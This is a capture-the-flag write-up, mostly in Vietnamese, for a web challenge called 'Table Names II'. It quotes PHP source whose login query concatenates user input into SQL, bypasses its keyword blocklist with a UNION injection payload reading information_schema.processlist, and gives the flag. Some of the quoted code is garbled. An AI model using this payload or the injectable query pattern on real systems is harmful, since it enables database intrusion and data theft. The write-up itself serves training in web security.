Table Name II

Source code:

$secret = require('secret.php');
define('GWF_PAGE_TITLE', 'Table Names II');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);}
if (false !== Common::getGet('login')){
        $username = Common::getGetString('username', '');
        $password = Common::getGetString('password', '');
        if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))        {
                echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
        {                if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                        die('Database error.');
                                $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                if (false === ($result = ($db->queryFirst($query, false))))
                        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                }                else
                        echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
<div class="box box_c">
<form action="challenge.php" method="get"><div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
echo $chall->copyrightFooter();

Do đã lọc hầu hết các từ khóa nên ta dùng payload:

' union select 1,2,info from information_schema.processlist-- -

Kết quả:

Welcome back 1

Your personal welcome message is: SELECT * FROM nurfedtables37.userbobbytable7 WHERE username='' union select 1,2,info from information_schema.processlist -- -' AND password=''

This ensures you are not on a fake evil phising site.

Submit: nurfedtables37_userbobbytable7


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